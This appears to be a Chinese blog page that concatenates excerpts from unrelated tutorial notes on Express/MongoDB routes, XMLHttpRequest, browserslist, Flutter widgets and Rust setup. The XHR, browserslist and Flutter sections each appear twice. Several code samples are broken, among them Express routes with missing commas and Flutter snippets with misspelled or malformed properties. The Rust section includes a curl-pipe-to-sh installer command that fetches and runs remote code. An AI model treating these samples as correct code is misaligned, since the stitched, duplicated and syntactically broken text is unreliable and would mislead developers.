skip(1)跳过多少条,limit(2)显示多少条,where()可指定查询某个字段为某个值的数据,sort()表示排序的顺序(1为正序,-1为倒序) app.get('/test/:id',async function(req,res){ const data = await testdb.findById(req.params.id) res.send(data) }) 访问localhost:3000/test/2 注意:req和res的区别,req是客户端请求,res是服务端响应 插入数据到MongoDB中 app.use(express.json()) // 通过express.json()中间件,解析body中的json数据 app.post('/admin' async function(req,res){ const data = req.body // 获取前端post请求的body数据 const dataMain = await testdb.create(data) // body数据create到MongoDB数据库中 res.send(dataMain) }) 修改MongoDB数据 app.put('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id data.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title await data.save() // 保存到数据库中 res.send(data) }) 删除MongoDB数据 app.delete('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id await data.remove() // 从数据库中删除该数据 res.send({ code: 200 }) })
ajax请求是异步的,因此可以通过回调函数来处理响应 实现ajax请求大多是使用XMLHttpRequest对象,该对象用于与服务器交互,可以在不刷新页面的情况下请求url,获取数据,从而达到更新页面内容的目的 初始化XMLHttpRequest()构造函数,可以获得一个XMLHttpReques实例,例如: var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById("app").innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open("GET","https://httpbin.org/get",true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性 XMLHttpRequest.readyState:该属性会返回一个XMLHttpRequest的状态,状态有5种,例如: 状态0:已被实例化,但是未调用open()方法 状态1:open()方法已被调用(连接) 状态2:send()方法已被调用(请求) 状态3:请求处理中 状态4:请求完毕,且响应已就绪 XMLHttpReques.onreadystatechange:该属性对应了一个回调函数,当XMLHttpRequest.readyState属性发生改变时,该回调函数就会被调用,例子如上面所示 XMLHttpRequest.response:该属性会返回一个类型,该类型取决于XMLHttpRequest.responseType的值,类型例如: DOMString:当XMLHttpRequest.responseType的值为空字符串,那么就是DOMString类型(是一个utf-16字符串,默认) arraybuffer:XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象(该对象是用于存储二进制数据,不能直接进行操作,只能通过视图来进行操作) Blob:XMLHttpRequest.responseType的值为包含二进制数据的Blob对象(该对象是用于表示一个类似文件的对象,可以通过二进制的方式进行读取) Document:值是一个Document json:值是一个JavaScript对象 text:值是一个DOMString对象表示的文本(utf-16字符串) XMLHttpRequest.responseText:该属性的值是请求被发送到服务端后,从服务端返回的文本,如果值为null,那么就是请求失败,如果为空字符串,那么就是没有send() XMLHttpRequest.responseType:该属性会返回一个值,该值和response属性的值一样 XMLHttpRequest.responseURL:该属性会返回一个序列化url,如果url为空那么就返回空字符串 XMLHttpRequest.responseXML:该属性返回Document(html/xml),如果请求没有成功或者获取的数据,无法解析为html或者xml,那么为null XMLHttpRequest.status:该属性会返回响应中的http状态码,如果请求没有完成,那么值为0,如果出错也是为0 XMLHttpRequest.timeout:该属性会返回一个值,该值为请求被自动终止前所消耗的毫秒数(默认为0,则表示没有超时) XMLHttpRequest.upload:该属性是用于表示上传的进度,可搭配事件监听器来追踪进度,例如: onloadstart:开始获取数据 onprogress:数据正在传输中 onabort:数据获取终止 onerror:数据获取失败 onload:数据获取成功 ontimeout:数据获取操作在规定的时间内未完成 onloadend:数据获取完成(不管是否成功) open()方法 该方法有3个常用参数,请求方式,请求url,是否异步执行(如果为false,那么JavaScript会等到服务器响应完毕时才会继续执行) xmlhttp.open(“GET”,“https://httpbin.org/get",true)
ajax请求是异步的,因此可以通过回调函数来处理响应 实现ajax请求大多是使用XMLHttpRequest对象,该对象用于与服务器交互,可以在不刷新页面的情况下请求url,获取数据,从而达到更新页面内容的目的 初始化XMLHttpRequest()构造函数,可以获得一个XMLHttpReques实例,例如: var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById("app").innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open("GET","https://httpbin.org/get",true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性 XMLHttpRequest.readyState:该属性会返回一个XMLHttpRequest的状态,状态有5种,例如: 状态0:已被实例化,但是未调用open()方法 状态1:open()方法已被调用(连接) 状态2:send()方法已被调用(请求) 状态3:请求处理中 状态4:请求完毕,且响应已就绪 XMLHttpReques.onreadystatechange:该属性对应了一个回调函数,当XMLHttpRequest.readyState属性发生改变时,该回调函数就会被调用,例子如上面所示 XMLHttpRequest.response:该属性会返回一个类型,该类型取决于XMLHttpRequest.responseType的值,类型例如: DOMString:当XMLHttpRequest.responseType的值为空字符串,那么就是DOMString类型(是一个utf-16字符串,默认) arraybuffer:XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象(该对象是用于存储二进制数据,不能直接进行操作,只能通过视图来进行操作) Blob:XMLHttpRequest.responseType的值为包含二进制数据的Blob对象(该对象是用于表示一个类似文件的对象,可以通过二进制的方式进行读取) Document:值是一个Document json:值是一个JavaScript对象 text:值是一个DOMString对象表示的文本(utf-16字符串) XMLHttpRequest.responseText:该属性的值是请求被发送到服务端后,从服务端返回的文本,如果值为null,那么就是请求失败,如果为空字符串,那么就是没有send() XMLHttpRequest.responseType:该属性会返回一个值,该值和response属性的值一样 XMLHttpRequest.responseURL:该属性会返回一个序列化url,如果url为空那么就返回空字符串 XMLHttpRequest.responseXML:该属性返回Document(html/xml),如果请求没有成功或者获取的数据,无法解析为html或者xml,那么为null XMLHttpRequest.status:该属性会返回响应中的http状态码,如果请求没有完成,那么值为0,如果出错也是为0 XMLHttpRequest.timeout:该属性会返回一个值,该值为请求被自动终止前所消耗的毫秒数(默认为0,则表示没有超时) XMLHttpRequest.upload:该属性是用于表示上传的进度,可搭配事件监听器来追踪进度,例如: onloadstart:开始获取数据 onprogress:数据正在传输中 onabort:数据获取终止 onerror:数据获取失败 onload:数据获取成功 ontimeout:数据获取操作在规定的时间内未完成 onloadend:数据获取完成(不管是否成功) open()方法 该方法有3个常用参数,请求方式,请求url,是否异步执行(如果为false,那么JavaScript会等到服务器响应完毕时才会继续执行) xmlhttp.open(“GET”,“https://httpbin.org/get",true)
browserslist是查询浏览器列表的工具,browserslisp的配置可写在package.json中,也可以单独写在.browserslistrc配置⽂件中 browserslist的配置文件会被Autoprefixer,Babel,postcss-preset-env,eslint-plugin-compat,stylelint-no-unsupported-browser-features,postcss-normalize,obsolete-webpack-plugin工具读取,并且对配置的目标浏览器做适配工作 npx browserslist可查看根据条件输出的浏览器列表 查看全球用户份额大于0.2%的浏览器 npx browserslist “> 0.2%” 查询Chrome最新1个版本 npx browserslist “last 1 Chrome versions” 查看browserslist的默认配置 npx browserslist “defaults” browserslist的默认配置为> 0.5% and last 2 versions adn Firefox ESR and not dead not dead的意思是不输出官方不再维护的浏览器(例如ie10),dead是不维护,not是不输出 and就是和,or是或者 browserslist的配置 package.json(browserslist官方推荐用这个) "browserslist": [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成 "browserslist": [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc > 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级:当前项目的package.json的browserslist,当前项目的.browserslistrc,BROWSERSLIST环境变量,browserslist的defaults 另外还可以设置development(开发环境),production(生产环境的配置),例如: "browserslist": [ 'development':[ 'last 1 Chrome versions', 'last 1 firefox versions', 'last 1 safari versions', '> 5%', ], 'production': [ 'not dead' ] ]
browserslist是查询浏览器列表的工具,browserslisp的配置可写在package.json中,也可以单独写在.browserslistrc配置⽂件中 browserslist的配置文件会被Autoprefixer,Babel,postcss-preset-env,eslint-plugin-compat,stylelint-no-unsupported-browser-features,postcss-normalize,obsolete-webpack-plugin工具读取,并且对配置的目标浏览器做适配工作 npx browserslist可查看根据条件输出的浏览器列表 查看全球用户份额大于0.2%的浏览器 npx browserslist “> 0.2%” 查询Chrome最新1个版本 npx browserslist “last 1 Chrome versions” 查看browserslist的默认配置 npx browserslist “defaults” browserslist的默认配置为> 0.5% and last 2 versions adn Firefox ESR and not dead not dead的意思是不输出官方不再维护的浏览器(例如ie10),dead是不维护,not是不输出 and就是和,or是或者 browserslist的配置 package.json(browserslist官方推荐用这个) "browserslist": [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成 "browserslist": [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc > 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级:当前项目的package.json的browserslist,当前项目的.browserslistrc,BROWSERSLIST环境变量,browserslist的defaults 另外还可以设置development(开发环境),production(生产环境的配置),例如: "browserslist": [ 'development':[ 'last 1 Chrome versions', 'last 1 firefox versions', 'last 1 safari versions', '> 5%', ], 'production': [ 'not dead' ] ]
Flutter是谷歌开源的跨平台UI框架,可以快速在iOS和Android上构建高质量的原生用户界面,可在Windows,Linux,Android,Web,iOS,Mac等6大平台上开发应用 闲鱼和Now直播,美团,快手都使用了Flutter 获取Flutter https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip 添加path环境变量 由于Flutter库是在google那,因此需要设置第三方可信镜像库 设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量 PUB_HOSTED_URL设置为https://pub.flutter-io.cn FLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn (flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护) 其他可信第三方镜像库: 腾讯云镜像 PUB_HOSTED_URL(https://mirrors.cloud.tencent.com/dart-pub) FLUTTER_STORAGE_BASE_URL(https://mirrors.cloud.tencent.com/flutter) 清华大学镜像 PUB_HOSTED_URL(https://mirrors.tuna.tsinghua.edu.cn/dart-pub) FLUTTER_STORAGE_BASE_URL(https://mirrors.tuna.tsinghua.edu.cn/flutter) 添加Flutter环境变量path,解压路径\flutter\bin 执行where.exe flutter dart,如果有反应,说明path环境配置完成 (如果要开发安卓的话,需要安装jdk,Android Studio,Android Jdk,可执行flutter doctor检查依赖(如果是X表示没依赖,需要安装)) 这里用Visual Studio Code的Flutter插件 创建第一个demo(项目名必须全小写,可用_下划线) flutter create flutterdemo 启动项目(编译执行) flutter run Dart是静态类型语言,它会在定义时绑定数据类型(var) Dart允许一个类中有多个构造函数,在new初始化时,可选择类的某个构造函数 Dart库管理(pub.dev),在pubspec.yaml添加库 实质上Dart和JavaScript很相似,只是它有抽象和泛型(ts也有泛型,抽象类就是类似于golang的接口,只定义不实现) Dart也是单线程执行,主线程外也有宏任务队列和事件队列(可以理解为JavaScript中的宏任务) Dart执行过程:执行main()函数,判断是微任务还是事件队列,是微任务则插入微任务队列,是宏任务则插入宏任务队列,执行完成后(主线程),会执行微任务队列和事件队列,以及判断微任务队列和事件队列是否为空,当为空时程序执行结束 flutter项目下的lib/main.dart,class MyApp类下 修改为 home: const MyHomePage(title: ‘Hallo word’), // 当前title信息 在return Scaffold下的body: Center下的,修改为children: [const Text(‘Hallo word’,), 运行后可以看到一个title以及内容都为Hallo word的app flutter自带了可视化工具,Dart DevTools 自己写一个main.dart void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: "hallo word", // app的title theme: ThemeData( primarySwatch: Colors.orange, // 页面的主题颜色 ) home: Scaffold( appBar: AppBar( title: Text("hallo word"), // 当前页面的title ), body: Center( child: Text('hallo flutter'), // 当前页面的文本 ), ), ); } } flutter run (热更新,在执行中输入r或者R)(按p为显示网格,按q为退出,按o为切换android和ios的预览模式) 这边用安卓实机调试(也可以用安卓模拟器,例如夜神模拟器) 使用flutter devices命令检查是否寻找到该机,记得开启开发者模式,打开调试,允许调试,开启允许USB安装,数据线连接到电脑,并且安装和实机(虚拟机)中的安卓版本sdk,如果官网打不开,可去https://www.androiddevtools.cn/下载或者在Android Studio中安装,下载安装Google USB Driveer(也可以在Android Studio中安装) flutter生命周期 flutter组件分为无状态组件和有状态组件,无状态组件就是单纯显示内容的,没有逻辑计算,因此只渲染一次,有状态组件就是具备逻辑交互功能的组件,会因为数据发生变化而多次渲染,这个概念和JavaScript是一样的 无状态组件的生命周期只有一个,build 有状态组件生命周期分别为 createState:该钩子在StatefulWidget中创建State的方法,当StatefulWidget被调用时会立即执行 createState initState:该钩子为State初始化调用,一般用来初始化State变量的赋值,与服务端交互获取服务端数据以后调用setState来设置初始化State。 didChangeDependencies:该钩子在该组件依赖的State发生变化时会被调用(这里的State发生变化指全局State变化,例如当InheritedWidget发送变化),build跟着触发 build:返回需要渲染的Widget,一般有来返回Widget相关逻辑,build会被调用多次 setState:当状态发送变化时触发,该钩子被执行后,必然会调用build钩子 reassemble:该钩子在debug模式下,每次热重载都会执行该钩子,一般来用做一些debug操作 didUpdateWidget:该钩子主要是在组件重新构建时调用,例如热重载,该钩子被执行后,必然会调用build钩子 deactivate:该钩子在组件被移除节点后会被调用,如果没有插入到其他节点,会继续触发dispose钩子 dispose:永久移除该组件,释放组件资源,一个组件的生命终点 在无状态组件中,执行阶段中只有build,也只会执行build函数钩子,因此执行和效率比有状态组件好 注意:当动态组件更新时,将导致其子组件更新,导致性能问题 常见组件: Text: 渲染文本组件 Image :图片显示组件 Icon : Icon库组件 AppBar:页面导航条组件 Row: 布局组件,使子元素在水平方横向布局 Column: 布局组件,使子元素在水平方向纵向布局 Container: 容器组件 Expanded:控制flex布局的占位(用在row或者column组件内部) Stack:层叠布局组件,在当前组件层叠另一层(和css的z-index类似) FadeInImage:加载时的占位组件 Padding:填充空白区域组件,和css的padding效果类似 ClipRRect:圆角组件,可将子组件处理成圆边角 Text组件,它有TextAlign属性,maxLines属性,overflow属性,style属性 TextAlign属性就是定义文本对齐方式的,例如: child:Text( 'hallo word', textAlign:TextAlign.center, ) left左,center居中,right右 maxLines属性是定义文本显示的最大行数数,例如: child:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, ) overflow属性是定义文本溢出时的处理方式,例如: child:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, overflow: TextOverflow.ellipsis, ) 注意:Text组件是没有宽度的,文本会撑开Text组件,因此还需要搭配Container组件使用,例如: Container( width: 10, child: Text( "hallo wordhallo wordhallo wordhallo wordhallo wordhallo word", textAlign: TextAlign.left, overflow: TextOverflow.ellipsis, maxLines: 1, ), ), style属性可以理解成Flutter组件的css(实质上效果都类似css),例如: child:Text( 'hallo word', textAlign: TextAlign.center, style: TextStyle( fontSize: 20.0, // 字体大小20 color: Colors.red, // 字体颜色为红色 decoration: TextDecoration.underline, // 文本下划线 ), ) Container组件,有Alignment属性,padding属性,margin属性和decoration属性 Container组件宽度和高度,以及颜色可直接通过width和height属性,color属性来定义 Alignment属性:该属性是定义Container组件的内容的对齐方式,例如: child:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, ), 该属性可设置头部对齐方式,底部对齐方式,水平对齐方式,例如topCenter,center,bottomCenter padding属性:该属性定义Container组件边缘和子内容的距离,和css的内边距类似,例如: child:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 ), 如果想单独设置,可padding:const EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0), 这4个值分别表示左,上,右,下 margin属性,自然是定义外边距的,例如margin: const EdgeInsets.all(20.0), decoration属性,用于定义背景,边框,例如: child:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 decoration:new BoxDecoration( gradient:const LinearGradient( colors:[ Colors.red, // 红色到黑色的渐变 Colors.black, ] ), border:Border.all(width:3.0,color:Colors.black) // 黑色边框,边框宽度为3 ), ), Image组件,加载图片有4种方式,分别为: Image.asset 加载项目内图片(相对) Image.file 加载本地图片(绝对) Image.memory 加载Uint8List资源图片 Image.network 加载网络图片 加载网络图片,例如: child:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', ), 加载本地(或者项目)内图片,例如: child:new Image.file( File("./1.jpg") ) Image组件的ImageRepeat属性和fit属性 ImageRepeat属性可设置图片重复,例如铺满整个容器,fit属性可设置图片的拉伸和挤压,例如:全图显示,拉伸填满整个容器 例子: child:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', // ImageRepeat: ImageRepeat.repeat // 横向和纵向重复,直到填满容器 fit: BoxFit.contain // 显示原比例图片 ), ImageRepeat.repeat: 横向和纵向重复,填满整个容器 ImageRepeat.repeatX: 横向重复,纵向不重复 ImageRepeat.repeatY:纵向重复,横向不重复 BoxFit.fill: 图片拉伸,并填满父容器。 BoxFit.contain: 显示原比例图片 BoxFit.cover:可能拉伸,裁切(图片填满整个容器,但是不变形) BoxFit.fitWidth:宽度充满(横向填满),图片可能拉伸,裁切 BoxFit.fitHeight :高度充满(竖向填满),图片可能拉伸,裁切 BoxFit.scaleDown:显示原比例图片,但是此属性不允许超过源图片大小 Row组件:水平布局组件,该组件又分为灵活布局和非灵活布局 灵活布局:使用Expanded(类似于flex效果),解决非灵活布局的空余或者溢出的情况 非灵活布局:当子元素不足填满时,会有空余位置,当子元素溢出位置了,会警告 例如: body: Row( children: [ Expanded( flex: 1, child: Container( Colors.black, ), ), Expanded( flex: 2, child: Container( Colors.red, ), ), ] ) Column组件:垂直布局组件,例如: body: Column( children: [ Text('hallo word'), Text('chenjunlinabc'), ], crossAxisAlignment: CrossAxisAlignment.start, mainAxisAlignment: MainAxisAlignment.center, ), CrossAxisAlignment.star:向左对齐 CrossAxisAlignment.end:向右对齐 CrossAxisAlignment.center:居中对齐 Row和Column组件都存在主轴(main)和纵轴(Cross) 主轴(main):在Row组件中水平就是主轴,在Column组件中垂直就是主轴, 纵轴(Cross):和主轴(main)相反,在Row组件中垂直就是纵轴,在Column组件中水平就是纵轴 Stack组件 Stack( children: [ Container( width: 100, height: 100, color: Colors.red, ), Container( width: 50, height: 50, color: Colors.black, ), ], ), 可以看到上面的两个子组件相交在一起了,Stack组件一样有Alignment属性,来表示对齐方式
Flutter是谷歌开源的跨平台UI框架,可以快速在iOS和Android上构建高质量的原生用户界面,可在Windows,Linux,Android,Web,iOS,Mac等6大平台上开发应用 闲鱼和Now直播,美团,快手都使用了Flutter 获取Flutter https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip 添加path环境变量 由于Flutter库是在google那,因此需要设置第三方可信镜像库 设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量 PUB_HOSTED_URL设置为https://pub.flutter-io.cn FLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn (flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护) 其他可信第三方镜像库: 腾讯云镜像 PUB_HOSTED_URL(https://mirrors.cloud.tencent.com/dart-pub) FLUTTER_STORAGE_BASE_URL(https://mirrors.cloud.tencent.com/flutter) 清华大学镜像 PUB_HOSTED_URL(https://mirrors.tuna.tsinghua.edu.cn/dart-pub) FLUTTER_STORAGE_BASE_URL(https://mirrors.tuna.tsinghua.edu.cn/flutter) 添加Flutter环境变量path,解压路径\flutter\bin 执行where.exe flutter dart,如果有反应,说明path环境配置完成 (如果要开发安卓的话,需要安装jdk,Android Studio,Android Jdk,可执行flutter doctor检查依赖(如果是X表示没依赖,需要安装)) 这里用Visual Studio Code的Flutter插件 创建第一个demo(项目名必须全小写,可用_下划线) flutter create flutterdemo 启动项目(编译执行) flutter run Dart是静态类型语言,它会在定义时绑定数据类型(var) Dart允许一个类中有多个构造函数,在new初始化时,可选择类的某个构造函数 Dart库管理(pub.dev),在pubspec.yaml添加库 实质上Dart和JavaScript很相似,只是它有抽象和泛型(ts也有泛型,抽象类就是类似于golang的接口,只定义不实现) Dart也是单线程执行,主线程外也有宏任务队列和事件队列(可以理解为JavaScript中的宏任务) Dart执行过程:执行main()函数,判断是微任务还是事件队列,是微任务则插入微任务队列,是宏任务则插入宏任务队列,执行完成后(主线程),会执行微任务队列和事件队列,以及判断微任务队列和事件队列是否为空,当为空时程序执行结束 flutter项目下的lib/main.dart,class MyApp类下 修改为 home: const MyHomePage(title: ‘Hallo word’), // 当前title信息 在return Scaffold下的body: Center下的,修改为children: [const Text(‘Hallo word’,), 运行后可以看到一个title以及内容都为Hallo word的app flutter自带了可视化工具,Dart DevTools 自己写一个main.dart void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: "hallo word", // app的title theme: ThemeData( primarySwatch: Colors.orange, // 页面的主题颜色 ) home: Scaffold( appBar: AppBar( title: Text("hallo word"), // 当前页面的title ), body: Center( child: Text('hallo flutter'), // 当前页面的文本 ), ), ); } } flutter run (热更新,在执行中输入r或者R)(按p为显示网格,按q为退出,按o为切换android和ios的预览模式) 这边用安卓实机调试(也可以用安卓模拟器,例如夜神模拟器) 使用flutter devices命令检查是否寻找到该机,记得开启开发者模式,打开调试,允许调试,开启允许USB安装,数据线连接到电脑,并且安装和实机(虚拟机)中的安卓版本sdk,如果官网打不开,可去https://www.androiddevtools.cn/下载或者在Android Studio中安装,下载安装Google USB Driveer(也可以在Android Studio中安装) flutter生命周期 flutter组件分为无状态组件和有状态组件,无状态组件就是单纯显示内容的,没有逻辑计算,因此只渲染一次,有状态组件就是具备逻辑交互功能的组件,会因为数据发生变化而多次渲染,这个概念和JavaScript是一样的 无状态组件的生命周期只有一个,build 有状态组件生命周期分别为 createState:该钩子在StatefulWidget中创建State的方法,当StatefulWidget被调用时会立即执行 createState initState:该钩子为State初始化调用,一般用来初始化State变量的赋值,与服务端交互获取服务端数据以后调用setState来设置初始化State。 didChangeDependencies:该钩子在该组件依赖的State发生变化时会被调用(这里的State发生变化指全局State变化,例如当InheritedWidget发送变化),build跟着触发 build:返回需要渲染的Widget,一般有来返回Widget相关逻辑,build会被调用多次 setState:当状态发送变化时触发,该钩子被执行后,必然会调用build钩子 reassemble:该钩子在debug模式下,每次热重载都会执行该钩子,一般来用做一些debug操作 didUpdateWidget:该钩子主要是在组件重新构建时调用,例如热重载,该钩子被执行后,必然会调用build钩子 deactivate:该钩子在组件被移除节点后会被调用,如果没有插入到其他节点,会继续触发dispose钩子 dispose:永久移除该组件,释放组件资源,一个组件的生命终点 在无状态组件中,执行阶段中只有build,也只会执行build函数钩子,因此执行和效率比有状态组件好 注意:当动态组件更新时,将导致其子组件更新,导致性能问题 常见组件: Text: 渲染文本组件 Image :图片显示组件 Icon : Icon库组件 AppBar:页面导航条组件 Row: 布局组件,使子元素在水平方横向布局 Column: 布局组件,使子元素在水平方向纵向布局 Container: 容器组件 Expanded:控制flex布局的占位(用在row或者column组件内部) Stack:层叠布局组件,在当前组件层叠另一层(和css的z-index类似) FadeInImage:加载时的占位组件 Padding:填充空白区域组件,和css的padding效果类似 ClipRRect:圆角组件,可将子组件处理成圆边角 Text组件,它有TextAlign属性,maxLines属性,overflow属性,style属性 TextAlign属性就是定义文本对齐方式的,例如: child:Text( 'hallo word', textAlign:TextAlign.center, ) left左,center居中,right右 maxLines属性是定义文本显示的最大行数数,例如: child:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, ) overflow属性是定义文本溢出时的处理方式,例如: child:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, overflow: TextOverflow.ellipsis, ) 注意:Text组件是没有宽度的,文本会撑开Text组件,因此还需要搭配Container组件使用,例如: Container( width: 10, child: Text( "hallo wordhallo wordhallo wordhallo wordhallo wordhallo word", textAlign: TextAlign.left, overflow: TextOverflow.ellipsis, maxLines: 1, ), ), style属性可以理解成Flutter组件的css(实质上效果都类似css),例如: child:Text( 'hallo word', textAlign: TextAlign.center, style: TextStyle( fontSize: 20.0, // 字体大小20 color: Colors.red, // 字体颜色为红色 decoration: TextDecoration.underline, // 文本下划线 ), ) Container组件,有Alignment属性,padding属性,margin属性和decoration属性 Container组件宽度和高度,以及颜色可直接通过width和height属性,color属性来定义 Alignment属性:该属性是定义Container组件的内容的对齐方式,例如: child:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, ), 该属性可设置头部对齐方式,底部对齐方式,水平对齐方式,例如topCenter,center,bottomCenter padding属性:该属性定义Container组件边缘和子内容的距离,和css的内边距类似,例如: child:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 ), 如果想单独设置,可padding:const EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0), 这4个值分别表示左,上,右,下 margin属性,自然是定义外边距的,例如margin: const EdgeInsets.all(20.0), decoration属性,用于定义背景,边框,例如: child:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 decoration:new BoxDecoration( gradient:const LinearGradient( colors:[ Colors.red, // 红色到黑色的渐变 Colors.black, ] ), border:Border.all(width:3.0,color:Colors.black) // 黑色边框,边框宽度为3 ), ), Image组件,加载图片有4种方式,分别为: Image.asset 加载项目内图片(相对) Image.file 加载本地图片(绝对) Image.memory 加载Uint8List资源图片 Image.network 加载网络图片 加载网络图片,例如: child:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', ), 加载本地(或者项目)内图片,例如: child:new Image.file( File("./1.jpg") ) Image组件的ImageRepeat属性和fit属性 ImageRepeat属性可设置图片重复,例如铺满整个容器,fit属性可设置图片的拉伸和挤压,例如:全图显示,拉伸填满整个容器 例子: child:new Image.network( 'http://xiaochenabc123.test.com/1.jpg', // ImageRepeat: ImageRepeat.repeat // 横向和纵向重复,直到填满容器 fit: BoxFit.contain // 显示原比例图片 ), ImageRepeat.repeat: 横向和纵向重复,填满整个容器 ImageRepeat.repeatX: 横向重复,纵向不重复 ImageRepeat.repeatY:纵向重复,横向不重复 BoxFit.fill: 图片拉伸,并填满父容器。 BoxFit.contain: 显示原比例图片 BoxFit.cover:可能拉伸,裁切(图片填满整个容器,但是不变形) BoxFit.fitWidth:宽度充满(横向填满),图片可能拉伸,裁切 BoxFit.fitHeight :高度充满(竖向填满),图片可能拉伸,裁切 BoxFit.scaleDown:显示原比例图片,但是此属性不允许超过源图片大小 Row组件:水平布局组件,该组件又分为灵活布局和非灵活布局 灵活布局:使用Expanded(类似于flex效果),解决非灵活布局的空余或者溢出的情况 非灵活布局:当子元素不足填满时,会有空余位置,当子元素溢出位置了,会警告 例如: body: Row( children: [ Expanded( flex: 1, child: Container( Colors.black, ), ), Expanded( flex: 2, child: Container( Colors.red, ), ), ] ) Column组件:垂直布局组件,例如: body: Column( children: [ Text('hallo word'), Text('chenjunlinabc'), ], crossAxisAlignment: CrossAxisAlignment.start, mainAxisAlignment: MainAxisAlignment.center, ), CrossAxisAlignment.star:向左对齐 CrossAxisAlignment.end:向右对齐 CrossAxisAlignment.center:居中对齐 Row和Column组件都存在主轴(main)和纵轴(Cross) 主轴(main):在Row组件中水平就是主轴,在Column组件中垂直就是主轴, 纵轴(Cross):和主轴(main)相反,在Row组件中垂直就是纵轴,在Column组件中水平就是纵轴 Stack组件 Stack( children: [ Container( width: 100, height: 100, color: Colors.red, ), Container( width: 50, height: 50, color: Colors.black, ), ], ), 可以看到上面的两个子组件相交在一起了,Stack组件一样有Alignment属性,来表示对齐方式
Rust由非盈利组织Mozilla基金会开发,像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会 安装 官方推荐使用Rustup来安装(Rustup是rust的安装器和版本管理工具) 通过rustup-init来安装Rust https://www.rust-lang.org/zh-CN/tools/install windows直接安装pustup-init.exe来安装(需联网),默认通过vc安装,建议选择2自定义安装 Linux或者macOS则直接执行以下命令 curl –proto ‘=https’ –tlsv1.2 -sSf https://sh.rustup.rs | sh 注意:Rust的一些包,可能还依赖C编译器,因此最好安装一下GCC 检查是否安装完成 rustc –version 如果喜欢用Visual Studio Code开发,可搭配rust-analyzer插件来使用 更新rust rustup update 卸载rust和rustup rustup self uninstall 在安装rustup的同时也会安装Cargo Cargo是rust的项目构建工具和包管理器 检查是否安装成功 cargo –version 创建第一个rust项目 cargo new halloword 其中Cargo.toml文件是项目的依赖库文件 通过编辑Cargo.toml文件来添加依赖 rust依赖可通过https://crates.io/查找 [package] name = "hallo_word" version = "0.0.1" edition = "2021" [dependencies] hyper = "0.14.20" # 来自https://crates.io/ # hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区 # hyper = { path = "../hyper" } # 来自本地文件 构建依赖到项目中 cargo build halloword 当构建完成后,会在项目的根目录中创建一个名叫Cargo.lock的文件,该文件记录项目依赖的版本 src/main.rs是该项目的程序编写文件 在src/main.rs添加以下内容 fn main() { println!("hallo, world"); }; 进入该项目根目录运行该项目 cargo run 或者直接编译main.rs rustc main.rs ./main 注意:在windows上,需要加.exe,.\main.exe 在hallo word例子中看到,fn是创建函数的关键字,main是函数名,该函数调用了println!(),其实这是一个macro(宏),“hallo, world"作为字符串参数传递到了该宏中 另外cargo提供了一个命令,来不用生成二进制文件的前提下构建项目,来检查项目的错误 cargo check build和run默认是debug版本的,如果需要编译release版本执行cargo build –release 在rust中函数是一等公民,其中main函数是程序的入口函数(和golang一样) 注释可以让rust编译器忽略,例如:// hallo word 多行注释可使用块注释,例如: /* hallo word */ 文档注释,行注释例如: /// 1 /// 2 /// 3 文档块注释,例如: /** hallo word */ 